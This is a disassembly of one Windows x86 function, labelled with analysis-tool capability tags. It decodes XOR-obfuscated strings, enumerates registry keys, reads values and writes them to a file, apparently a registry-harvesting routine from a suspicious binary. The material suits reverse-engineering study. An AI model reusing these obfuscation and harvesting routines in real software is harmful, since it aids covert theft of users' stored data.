Function at 0x4114cf
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query or enumerate registry key
Write file on windows

Disassembly:
push 0x614
mov eax, 0x421f1c
call fcn.00420a4f
movaps xmm0, xmmword [0x402a60]
xor ebx, ebx
movups xmmword [ebp - 0x4dc], xmm0
mov ecx, ebx
mov dword [ebp - 0x4bc], 0x71474826
movaps xmm0, xmmword [0x4023a0]
movups xmmword [ebp - 0x4cc], xmm0
mov dword [ebp - 0x4b8], 0x7b7d6767
mov word [ebp - 0x4b4], 0x677a
mov byte [ebp - 0x4b2], bl
mov al, byte [ebp - 0x4dc]
xor byte [ebp + ecx - 0x4db], al
inc ecx
cmp ecx, 0x29
jb 0x411521
lea eax, [ebp - 0x4db]
mov byte [ebp - 0x4b2], bl
push eax
lea ecx, [ebp - 0x56c]
call fcn.0040406a
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x610]
cmp dword [ebp - 0x558], 0xf
lea eax, [ebp - 0x56c]
push ecx
cmova eax, dword [ebp - 0x56c]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x411cc9
push 0x400
lea eax, [ebp - 0x414]
push eax
push 0
jmp 0x411ca9
lea eax, [ebp - 0x414]
inc ebx
push eax
lea ecx, [ebp - 0x59c]
call fcn.0040406a
mov esi, eax
push ecx
lea edx, [ebp - 0x56c]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x5b4]
call fcn.00405391
pop ecx
push esi
push eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x488]
push dword [ebp - 0x610]
call fcn.0040bf5a
cmp dword [ebp - 0x474], 0xf
lea ecx, [ebp - 0x614]
lea eax, [ebp - 0x488]
cmova eax, dword [ebp - 0x488]
push ecx
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [ebp - 0x488]
mov esi, eax
call fcn.0040400e
lea ecx, [ebp - 0x5b4]
call fcn.0040400e
lea ecx, [ebp - 0x59c]
mov byte [ebp - 4], 0
call fcn.0040400e
test esi, esi
jne 0x411c9c
xor eax, eax
lea edi, [ebp - 0x554]
stosd dword es:[edi], eax
xor edx, edx
push 0xf
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x544], edx
lea edi, [ebp - 0x53c]
mov dword [ebp - 0x540], ecx
mov byte [ebp - 0x554], dl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x52c], edx
lea edi, [ebp - 0x524]
mov dword [ebp - 0x528], ecx
mov byte [ebp - 0x53c], dl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x514], edx
lea edi, [ebp - 0x50c]
mov dword [ebp - 0x510], ecx
mov byte [ebp - 0x524], dl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x4fc], edx
mov dword [ebp - 0x4f8], ecx
mov byte [ebp - 0x50c], dl
xor eax, eax
lea edi, [ebp - 0x470]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x460], edx
mov dword [ebp - 0x45c], ecx
mov byte [ebp - 0x470], dl
xor eax, eax
lea edi, [ebp - 0x458]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x448], edx
mov dword [ebp - 0x444], ecx
mov byte [ebp - 0x458], dl
xor eax, eax
lea edi, [ebp - 0x4f4]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x4e4], edx
mov dword [ebp - 0x4e0], ecx
mov byte [ebp - 0x4f4], dl
sub esp, 0x18
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x618], esp
mov edi, ecx
push 0xf
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ecx + 0x10], edx
pop esi
mov dword [ecx + 0x14], esi
mov byte [ecx], dl
mov byte [ebp - 4], 7
mov al, 0x4b
mov dword [ebp - 0x428], 0x7e7a534b
mov ecx, edx
mov dword [ebp - 0x424], 0x786c597f
mov word [ebp - 0x420], 0x70
movsx eax, al
and eax, 0x8000000f
jns 0x411753
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x427], al
inc ecx
cmp ecx, 8
jae 0x411768
mov al, byte [ebp - 0x428]
jmp 0x411744
sub esp, 0x18
mov byte [ebp - 0x41f], dl
lea eax, [ebp - 0x427]
mov ecx, esp
push eax
call fcn.0040406a
mov ecx, dword [ebp - 0x614]
lea edx, [ebp - 0x470]
mov byte [ebp - 4], 6
call fcn.0041adb5
add esp, 0x18
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x61c], esp
mov edi, ecx
xor edx, edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ecx + 0x10], edx
mov dword [ecx + 0x14], esi
mov byte [ecx], dl
mov byte [ebp - 4], 8
mov cl, 0xd
mov dword [ebp - 0x434], 0x687e580d
mov eax, edx
mov dword [ebp - 0x430], 0x606c437f
mov word [ebp - 0x42c], 0x68
xor byte [ebp + eax - 0x433], cl
inc eax
cmp eax, 8
jae 0x4117eb
mov cl, byte [ebp - 0x434]
jmp 0x4117d6
sub esp, 0x18
mov byte [ebp - 0x42b], dl
lea eax, [ebp - 0x433]
mov ecx, esp
push eax
call fcn.0040406a
mov ecx, dword [ebp - 0x614]
lea edx, [ebp - 0x458]
mov byte [ebp - 4], 6
call fcn.0041adb5
add esp, 0x18
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x61c], esp
mov edi, ecx
xor edx, edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ecx + 0x10], edx
mov dword [ecx + 0x14], esi
mov byte [ecx], dl
mov byte [ebp - 4], 9
mov cl, 0x1f
mov dword [ebp - 0x440], 0x6c7e4f1f
mov eax, edx
mov dword [ebp - 0x43c], 0x6d70686c
mov word [ebp - 0x438], 0x7b
xor byte [ebp + eax - 0x43f], cl
inc eax
cmp eax, 8
jae 0x41186e
mov cl, byte [ebp - 0x440]
jmp 0x411859
sub esp, 0x18
mov byte [ebp - 0x437], dl
lea eax, [ebp - 0x43f]
mov ecx, esp
push eax
call fcn.0040406a
mov ecx, dword [ebp - 0x614]
lea edx, [ebp - 0x4f4]
mov byte [ebp - 4], 6
call fcn.0041adb5
add esp, 0x30
cmp dword [ebp - 0x460], 0
je 0x411c60
cmp dword [ebp - 0x448], 0
je 0x411c60
mov al, 0x1e
mov dword [ebp - 0x41c], 0x7c77651e
mov dword [ebp - 0x418], 0x5e5161
xor ecx, ecx
movsx eax, al
and eax, 0x8000000f
jns 0x4118de
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 6
jae 0x4118f3
mov al, byte [ebp - 0x41c]
jmp 0x4118cf
lea ecx, [ebp - 0x41b]
mov byte [ebp - 0x415], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411903
sub ecx, edx
lea eax, [ebp - 0x41b]
push ecx
push eax
lea ecx, [ebp - 0x554]
call fcn.0040e629
cmp dword [ebp - 0x45c], esi
lea eax, [ebp - 0x470]
push dword [ebp - 0x460]
cmova eax, dword [ebp - 0x470]
lea ecx, [ebp - 0x53c]
push eax
call fcn.0040e629
cmp dword [ebp - 0x444], esi
lea eax, [ebp - 0x458]
push dword [ebp - 0x448]
cmova eax, dword [ebp - 0x458]
lea ecx, [ebp - 0x524]
push eax
call fcn.0040e629
cmp dword [ebp - 0x4e0], esi
lea eax, [ebp - 0x4f4]
push dword [ebp - 0x4e4]
cmova eax, dword [ebp - 0x4f4]
lea ecx, [ebp - 0x50c]
push eax
call fcn.0040e629
movaps xmm0, xmmword [0x402750]
xor ecx, ecx
movups xmmword [ebp - 0x4b0], xmm0
mov dword [ebp - 0x490], 0x2d534050
movaps xmm0, xmmword [0x4028f0]
movups xmmword [ebp - 0x4a0], xmm0
mov dword [ebp - 0x48c], 0x777b77
mov al, byte [ebp - 0x4b0]
xor byte [ebp + ecx - 0x4af], al
inc ecx
cmp ecx, 0x26
jb 0x4119c0
lea eax, [ebp - 0x4af]
mov byte [ebp - 0x489], 0
push eax
lea ecx, [ebp - 0x584]
call fcn.0040406a
push 0
push 0x80
push 4
push 0
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x584]
cmp dword [ebp - 0x570], esi
push 2
cmova eax, dword [ebp - 0x584]
push 4
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x411c55
mov al, 0x37
mov byte [ebp - 0x5fe], 0
mov byte [ebp - 0x600], al
mov cl, 0x83
movsx eax, al
and eax, 0x8000000f
jns 0x411a44
dec eax
or eax, 0xfffffff0
inc eax
sub cl, al
mov byte [ebp - 0x5fe], 0
lea eax, [ebp - 0x5ff]
mov byte [ebp - 0x5ff], cl
push eax
lea edx, [ebp - 0x554]
lea ecx, [ebp - 0x4a0]
call fcn.00407c78
pop ecx
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x53c]
cmp dword [ebp - 0x528], 0xf
push dword [ebp - 0x52c]
cmova ecx, dword [ebp - 0x53c]
push ecx
mov ecx, eax
call fcn.004052bb
push eax
lea ecx, [ebp - 0x5b4]
call fcn.00404031
mov al, 0x12
mov byte [ebp - 4], 0xc
mov byte [ebp - 0x604], al
mov cl, 0x7e
movsx eax, al
mov byte [ebp - 0x602], 0
and eax, 0x8000000f
jns 0x411ac2
dec eax
or eax, 0xfffffff0
inc eax
sub cl, al
mov byte [ebp - 0x602], 0
lea eax, [ebp - 0x603]
mov byte [ebp - 0x603], cl
push eax
lea edx, [ebp - 0x5b4]
lea ecx, [ebp - 0x5fc]
call fcn.0040691f
pop ecx
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x524]
cmp dword [ebp - 0x510], 0xf
push dword [ebp - 0x514]
cmova ecx, dword [ebp - 0x524]
push ecx
mov ecx, eax
call fcn.004052bb
push eax
lea ecx, [ebp - 0x59c]
call fcn.00404031
mov al, 0x33
mov byte [ebp - 4], 0xe
xor al, 0x4f
mov byte [ebp - 0x606], 0
mov byte [ebp - 0x607], al
lea edx, [ebp - 0x59c]
lea eax, [ebp - 0x607]
mov byte [ebp - 0x608], 0x4f
push eax
lea ecx, [ebp - 0x5e4]
mov byte [ebp - 0x606], 0
call fcn.0040691f
pop ecx
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x50c]
cmp dword [ebp - 0x4f8], 0xf
push dword [ebp - 0x4fc]
cmova ecx, dword [ebp - 0x50c]
push ecx
mov ecx, eax
call fcn.004052bb
push eax
lea ecx, [ebp - 0x5cc]
call fcn.00404031
mov al, 0x3d
mov byte [ebp - 4], 0x10
mov byte [ebp - 0x60c], al
mov cl, 0x17
movsx eax, al
mov byte [ebp - 0x60a], 0
and eax, 0x8000000f
jns 0x411bae
dec eax
or eax, 0xfffffff0
inc eax
sub cl, al
mov byte [ebp - 0x60a], 0
lea eax, [ebp - 0x60b]
mov byte [ebp - 0x60b], cl
push eax
lea edx, [ebp - 0x5cc]
lea ecx, [ebp - 0x488]
call fcn.0040691f
pop ecx
lea ecx, [ebp - 0x5cc]
call fcn.0040400e
lea ecx, [ebp - 0x5e4]
call fcn.0040400e
lea ecx, [ebp - 0x59c]
call fcn.0040400e
lea ecx, [ebp - 0x5fc]
call fcn.0040400e
lea ecx, [ebp - 0x5b4]
call fcn.0040400e
lea ecx, [ebp - 0x4a0]
call fcn.0040400e
cmp dword [ebp - 0x474], 0xf
lea ecx, [ebp - 0x620]
push 0
push ecx
push dword [ebp - 0x478]
lea eax, [ebp - 0x488]
cmova eax, dword [ebp - 0x488]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x488]
call fcn.0040400e
lea ecx, [ebp - 0x584]
call fcn.0040400e
push dword [ebp - 0x614]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x4f4]
call fcn.0040400e
lea ecx, [ebp - 0x458]
call fcn.0040400e
lea ecx, [ebp - 0x470]
call fcn.0040400e
lea ecx, [ebp - 0x554]
mov byte [ebp - 4], 0
call fcn.00411cda
push 0x400
lea eax, [ebp - 0x414]
push eax
push ebx
push dword [ebp - 0x610]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x411591
push dword [ebp - 0x610]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x56c]
call fcn.0040400e
call fcn.00420a0d
ret